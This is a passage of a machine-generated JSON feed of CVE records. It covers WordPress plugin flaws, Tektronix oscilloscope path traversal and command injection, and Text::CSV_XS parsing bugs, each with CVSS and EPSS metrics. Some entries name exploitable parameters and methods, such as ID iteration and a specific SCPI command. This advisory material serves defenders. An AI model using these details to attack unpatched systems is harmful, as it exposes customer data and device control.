fixes.","publishedAt":"2026-10-17T04:17:10.257Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92798","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00369,"percentile":0.30502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92798","type":"primary","publishedAt":"2026-10-17T04:17:10.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108123","cveId":"CVE-2026-108123","aliases":[],"kind":"vulnerability","title":"The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not...","summary":"The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to read the stored notification email body of any booking by iterating booking_id and email_log_id, exposing customer PII including names, email addresses, phone numbers, messages, and booking dates intended to be visible only to administrators. This is exploitable by any Subscriber-level user because admin_init fires on profile.php, a wp-admin page accessible to all authenticated users.","detail":"The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to read the stored notification email body of any booking by iterating booking_id and email_log_id, exposing customer PII including names, email addresses, phone numbers, messages, and booking dates intended to be visible only to administrators. This is exploitable by any Subscriber-level user because admin_init fires on profile.php, a wp-admin page accessible to all authenticated users.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T04:16:48.427Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108123","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00318,"percentile":0.24448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108123","type":"primary","publishedAt":"2026-10-17T04:16:48.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103899","cveId":"CVE-2026-103899","aliases":[],"kind":"vulnerability","title":"The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including,...","summary":"The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including, 2.1.30.260413 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The stored payload executes in the administrator's browser context when reviewing an order via WooCommerce → Orders → Edit Order, enabling privilege escalation up to and including full site takeover via rogue administrator account creation.","detail":"The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including, 2.1.30.260413 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The stored payload executes in the administrator's browser context when reviewing an order via WooCommerce → Orders → Edit Order, enabling privilege escalation up to and including full site takeover via rogue administrator account creation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T04:16:47.413Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103899","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00241,"percentile":0.1508,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103899","type":"primary","publishedAt":"2026-10-17T04:16:47.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109208","cveId":"CVE-2026-109208","aliases":[],"kind":"vulnerability","title":"The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) /...","summary":"The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) / order_comments (checkout)' parameter in all versions up to, and including, 4.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. With guest checkout enabled the attack is fully unauthenticated; with guest checkout disabled, any Subscriber-level user can exploit both vectors through their own checkout.","detail":"The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) / order_comments (checkout)' parameter in all versions up to, and including, 4.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. With guest checkout enabled the attack is fully unauthenticated; with guest checkout disabled, any Subscriber-level user can exploit both vectors through their own checkout.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T03:16:28.340Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109208","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00285,"percentile":0.20777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109208","type":"primary","publishedAt":"2026-10-17T03:16:28.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107762","cveId":"CVE-2026-107762","aliases":[],"kind":"vulnerability","title":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2...","summary":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary users' sensitive profile data — including email address, display name, nicename, registration date, profile image URL, and any string-valued user meta fields such as first name, last name, nickname, description, and custom meta keys — via the REST response. Exploitation requires a published page that uses a Kirki template containing at least one user-type dynamic content block; target user IDs are enumerable via standard WordPress REST endpoints, making the only prerequisite the presence of such a template on the site.","detail":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary users' sensitive profile data — including email address, display name, nicename, registration date, profile image URL, and any string-valued user meta fields such as first name, last name, nickname, description, and custom meta keys — via the REST response. Exploitation requires a published page that uses a Kirki template containing at least one user-type dynamic content block; target user IDs are enumerable via standard WordPress REST endpoints, making the only prerequisite the presence of such a template on the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T03:16:28.083Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107762","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00396,"percentile":0.33497,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107762","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107762","type":"primary","publishedAt":"2026-10-17T03:16:28.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104734","cveId":"CVE-2026-104734","aliases":[],"kind":"vulnerability","title":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via...","summary":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. By default, Editor-level users are granted FULL_ACCESS to the plugin's import endpoint via the KIRKI_USERS_DEFAULT_FULL_ACCESS configuration, meaning exploitation is possible at Editor privilege level rather than being restricted to administrators alone.","detail":"The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. By default, Editor-level users are granted FULL_ACCESS to the plugin's import endpoint via the KIRKI_USERS_DEFAULT_FULL_ACCESS configuration, meaning exploitation is possible at Editor privilege level rather than being restricted to administrators alone.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T03:16:27.927Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104734","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00452,"percentile":0.39022,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104734&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104734","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104734","type":"primary","publishedAt":"2026-10-17T03:16:27.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104734&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104734, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111855","cveId":"CVE-2026-111855","aliases":[],"kind":"vulnerability","title":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.","summary":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability exists in the web management interface of the device. Insufficient validation of user-supplied file paths allows remote attackers to read arbitrary files accessible to the application. Depending on configuration, exploitation may be possible without authentication.","detail":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability exists in the web management interface of the device. Insufficient validation of user-supplied file paths allows remote attackers to read arbitrary files accessible to the application. Depending on configuration, exploitation may be possible without authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T02:17:18.877Z","updatedAt":"2026-10-21T22:16:47.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111855","asOf":"2026-10-21T22:16:47.480Z"},"epss":{"probability":0.00608,"percentile":0.48807,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111855","type":"primary","publishedAt":"2026-10-17T02:17:18.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111854","cveId":"CVE-2026-111854","aliases":[],"kind":"vulnerability","title":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.","summary":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability in the SCPI FILESystem command interface allows remote attackers to read or modify arbitrary files on the device through insufficient validation of file paths supplied to filesystem access commands.","detail":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability in the SCPI FILESystem command interface allows remote attackers to read or modify arbitrary files on the device through insufficient validation of file paths supplied to filesystem access commands.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T02:17:18.750Z","updatedAt":"2026-10-19T22:17:03.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111854","asOf":"2026-10-19T22:17:03.853Z"},"epss":{"probability":0.00476,"percentile":0.4083,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111854","type":"primary","publishedAt":"2026-10-17T02:17:18.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111853","cveId":"CVE-2026-111853","aliases":[],"kind":"vulnerability","title":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.","summary":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with elevated privileges.","detail":"An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with elevated privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T02:17:18.610Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111853","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.01034,"percentile":0.63621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111853","type":"primary","publishedAt":"2026-10-17T02:17:18.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110758","cveId":"CVE-2026-110758","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.","summary":"Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.\n\nUnder allow_whitespace, strip_trail_whitespace removes trailing spaces and tabs from each unquoted field without stopping at the start of the field. For a field of only blanks it reads the byte before the field's heap buffer. If that byte is also a space or tab, it may be zeroed and the walk continue backwards, depending on what the allocator placed there.\n\nLeading blanks are normally skipped before a field is stored, but an all-blank field still arrives after a leading escape_char that differs from quote_char, or as a quoted field in getline when its line ends in two CRs.","detail":"Text::CSV_XS versions before 1.65 for Perl read before the start of an all-blank field under allow_whitespace in strip_trail_whitespace.\n\nUnder allow_whitespace, strip_trail_whitespace removes trailing spaces and tabs from each unquoted field without stopping at the start of the field. For a field of only blanks it reads the byte before the field's heap buffer. If that byte is also a space or tab, it may be zeroed and the walk continue backwards, depending on what the allocator placed there.\n\nLeading blanks are normally skipped before a field is stored, but an all-blank field still arrives after a leading escape_char that differs from quote_char, or as a quoted field in getline when its line ends in two CRs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:01.057Z","updatedAt":"2026-10-20T19:17:30.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110758","asOf":"2026-10-20T19:17:30.300Z"},"epss":{"probability":0.00354,"percentile":0.28815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110758","type":"primary","publishedAt":"2026-10-16T23:17:01.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110755","cveId":"CVE-2026-110755","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.","summary":"Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.\n\nWith eol unset, the default, getline reads with Perl's default line separator, so input with CR-only line endings arrives as one chunk. After each record the parser copies the whole unparsed remainder into a new buffer, which the next call parses and copies again, so the work grows with the square of the input size.\n\nA reader with default options that is sent CSV with classic Mac line endings spends seconds of CPU time on a megabyte of input.","detail":"Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.\n\nWith eol unset, the default, getline reads with Perl's default line separator, so input with CR-only line endings arrives as one chunk. After each record the parser copies the whole unparsed remainder into a new buffer, which the next call parses and copies again, so the work grows with the square of the input size.\n\nA reader with default options that is sent CSV with classic Mac line endings spends seconds of CPU time on a megabyte of input.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 